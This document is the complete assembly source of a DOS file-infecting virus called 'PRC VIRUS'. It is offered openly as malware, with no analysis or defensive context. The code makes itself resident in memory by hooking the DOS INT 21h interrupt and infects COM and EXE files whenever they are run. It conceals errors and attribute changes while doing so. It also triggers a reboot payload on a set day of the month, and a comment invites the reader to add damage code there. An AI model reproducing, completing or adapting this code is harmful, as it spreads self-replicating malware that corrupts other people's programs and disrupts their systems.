;******************************************
;* A DOS COMPUTER VIRUS *
;* NAME: PRC VIRUS *
;* INFEST COM OR EXE FILE IN DOS SYSTEM *
;* COMPLETED ON May 2,2000 *
;******************************************
;*******************************************
;* Save Registers *
;*******************************************
pushall macro
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
endm
;*******************************************
;* Restore Registers *
;*******************************************
popall macro
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
endm
;*******************************************
;* My Program Start *
;*******************************************
Code Segment
Assume CS:Code,DS:Code
Org 100h
Start:
push ds
push es
call BaseAddr ; SI saves the base address
BaseAddr:
pop si
mov ah,2ah
int 21h
cmp dl,03h
jnz DoNoDamage
;*******************************************
;* You Can Write Damage Code Here *
;*******************************************
mov ah,09h
push cs
pop ds
lea dx,[Msg-BaseAddr][si]
int 21h
mov ah,08h
int 21h
int 19h
;*********************************************
;* If It is Not The Right Day,Do No damage *
;*********************************************
DoNoDamage:
cmp byte ptr cs:[ComOrExe-BaseAddr][si],EXEFILE
jz NotRestoreFileHeader
;*******************************************
;* Restore ComFile Header *
;*******************************************
mov cx,word ptr cs:[SaveThreeBytes-BaseAddr][si]
mov ds:[100h],cx
mov cl,cs:[SaveThreeBytes+2-BaseAddr][si]
mov ds:[102h],cl
NotRestoreFileHeader:
mov ax,cs
add word ptr cs:[ExecuteOrgFile-BaseAddr+3][si],ax ; Set Original ExeFile Entrance Address
xor ax,ax
mov ds,ax
mov bx,ds:[21h*4]
push ds:[21h*4+2]
pop ds
cmp byte ptr [bx],90h ; Check if the virus code is in memory or not
jz StopLoading
;**********************************************
;* Modify MCB To Make Room For The Program *
;**********************************************
mov dx,es
dec dx
mov ds,dx
mov ax,ds:[3]
mov bx,(MyVirusSize+15)/16
cmp ax,bx
jb StopLoading
sub ax,bx
mov ds:[3],ax
add dx,ax
inc dx
;*******************************************
;* Copy The Virus Code Into Memory *
;*******************************************
push cs
pop ds
mov es,dx
mov bx,si ; Save Base Address
mov cx,MyVirusSize
sub si,BaseAddr-Start
xor di,di
cld
rep movsb
;*******************************************
;* Modify Interrupt Vector Table *
;*******************************************
xor ax,ax
mov ds,ax
push ds:[21h*4]
pop word ptr es:[OldInt21h-100h]
push ds:[21h*4+2]
pop word ptr es:[OldInt21h+2-100h]
mov ax,2521h
sub dx,10h
mov ds,dx
mov dx,offset ResidentPart
int 21h
;-----------------------------------------
StopLoading:
pop es
pop ds
ExecuteOrgFile: ; Execute The Parasided Exe Or Com File
ret
dd 0
;*********************************************************
;* The Following Program Is Resident In Memory *
;*********************************************************
ResidentPart:
nop ; NOP Is The Signal Of Residence Of Virus Code
cmp ah,4bh
jz Infect
jmp cs:OldInt21h
Infect:
pushall
;****************************************************
;* Judge The File Is A ComFile Or ExeFile *
;****************************************************
mov al,'.'
mov di,dx
mov cx,0ffffh
rep scasb
or byte ptr [di],20h
mov cs:ComOrExe,0
cmp byte ptr [di],'c'
jz Lab1
inc cs:ComOrExe
Lab1:
;*********************************************************
;* Restore 21H Interrupt Vector To Use INT 21H Sevice *
;*********************************************************
push ds
xor ax,ax
mov ds,ax
push word ptr cs:[OldInt21h]
pop ds:[21h*4]
push word ptr cs:[OldInt21h+2]
pop ds:[21h*4+2]
;*******************************************
;* Hook 24H To Mask Error Process *
;*******************************************
push ds:[24h*4]
pop word ptr cs:[OldInt24h]
push ds:[24h*4+2]
pop word ptr cs:[OldInt24h+2]
mov ds:[24h*4],offset NewInt24h
mov ax,cs
mov ds:[24h*4+2],ax
pop ds
;*******************************************
;* Modify File Attribute *
;*******************************************
mov ax,4300h
int 21h
jnc Lab2
jmp EndInfection3
Lab2:
push cx ; Remember To Pop It
or cl,cl
jz Lab3
xor cx,cx
mov ax,4301h
int 21h
jnc Lab3
jmp EndInfection2
;*******************************************
;* Open The File *
;*******************************************
Lab3:
mov ax,3d42h
int 21h
jnc Lab4
jmp EndInfection2
;*******************************************
;* Load File Header *
;*******************************************
Lab4:
mov bx,ax
push ds ; Remember To Pop It
push dx ; Remember To Pop It
mov bp,sp
sub bp,60h
mov dx,bp
push ss
pop ds
mov cx,1ch
mov ah,3fh
int 21h
;*******************************************
;* Get The File Size *
;*******************************************
mov ax,4202h
mov cx,0ffffh
mov dx,-4
int 21h
add ax,4
adc dx,0
push ax
push dx
;*******************************************
;* Read Four Last Bytes Of The File *
;*******************************************
mov ah,3fh
mov cx,4
lea dx,[bp+1ch]
int 21h
pop dx
pop ax
;*******************************************
;* Check If The File Is Infected Or Not *
;*******************************************
push cs
pop es
lea si,[bp+1ch]
mov di,offset CheckString
mov cx,CheckStringLenght
cld
rep cmpsb
jnz Lab5
jmp EndInfection1
;*******************************************
;* Save The First Three Bytes Of The File *
;*******************************************
Lab5:
mov cx,[bp]
mov word ptr cs:SaveThreeBytes,cx
mov cl,[bp+02h]
mov cs:SaveThreeBytes+2,cl
cmp cs:ComOrExe,EXEFILE
jz InfectExeFile
;*******************************************
;* Deal With ComFile *
;*******************************************
;PUSH_AX_DX:
push ax
push dx
mov byte ptr [bp],0e9h
sub ax,3
mov [bp+1],ax
mov dx,100h
xor ax,ax
jmp WriteCode
;*******************************************
;* Deal With ExeFile *
;*******************************************
InfectExeFile:
mov si,ax ; Compute How Many Bytes Needed To Align Para
and si,0fh
mov cx,16
sub cx,si
and cx,0fh
mov si,cx
add ax,cx
adc dx,0
;PUSH_AX_DX
push ax
push dx
mov cx,16
div cx
sub ax,[bp+08h]
sub ax,16 ; Compute New Code Segment
xchg [bp+16h],ax ; ExChange New Code Segment And Old Code Segment
mov dx,[bp+14h] ; Save Old Entry IP
mov word ptr [bp+14h],100h ; New IP=100h
sub ax,[bp+16h] ; Compute Difference Between Old Segment And New Segment
;*******************************************
;* Append The ExeFile To Align Para *
;*******************************************
push ax
mov cx,si
jcxz WriteCode
mov ah,40h
int 21h
pop ax
;*******************************************
;* Write The Code Into The File *
;*******************************************
WriteCode:
push cs
pop ds
mov byte ptr ExecuteOrgFile,0eah ; Build The Instruction Of "JMP xxxx:xxxx"
mov word ptr ExecuteOrgFile+1,dx ; In Order To Execute The Oringal File
mov word ptr ExecuteOrgFile+3,ax
mov dx,100h
mov cx,MyVirusSize
mov ah,40h
int 21h
;*******************************************
;* Modify The ExeFile Header *
;*******************************************
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;-------------------------------------------
POP_DX_AX:
pop dx ; Pop To Balance The Stack
pop ax
;-------------------------------------------
cmp cs:ComOrExe,COMFILE
jz Lab6
add ax,MyVirusSize ; Compute How Many Sectors The File Occupied
adc dx,0
mov cx,512
div cx
inc ax
mov [bp+04h],ax
mov [bp+02h],dx
Lab6:
push ss
pop ds
mov ah,40h
mov dx,bp
mov cx,1ch
int 21h
;*******************************************
;* Infection Done *
;*******************************************
EndInfection1:
pop dx
pop ds
EndInfection2:
pop cx
;*******************************************
;* Close The File *
;*******************************************
mov ah,3eh
int 21h
;*******************************************
;* Restore The File Attribute *
;*******************************************
EndInfection3:
mov ax,4301h
int 21h
;**************************************************
;* Let INT 21H Sevice Points Back To Virus Code *
;**************************************************
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset ResidentPart
push cs
pop ds:[21h*4+2]
;**************************************************
;* Restore INT 24H *
;**************************************************
push word ptr cs:[OldInt24h]
pop ds:[24h*4]
push word ptr cs:[OldInt24h+2]
pop ds:[24h*4+2]
popall
jmp dword ptr cs:OldInt21h
NewInt24h:
iret
;*******************************************
;* Data Area *
;*******************************************
OldInt21h dd ?
OldInt24h dd ?
ComOrExe db ?
Msg db 'THIS IS A DOS COMPUTER VIRUS!',0dh,0ah,'$'
SaveThreeBytes db 1eh,06h,0e8h
CheckString db 'PRC V1.0 FOR DOS'
;*******************************************
;* System Constant *
;*******************************************
CheckStringLenght = $ - CheckString
MyVirusSize = $ - Start
COMFILE = 0
EXEFILE = 1
;-----------------------------------------
Code Ends
End Start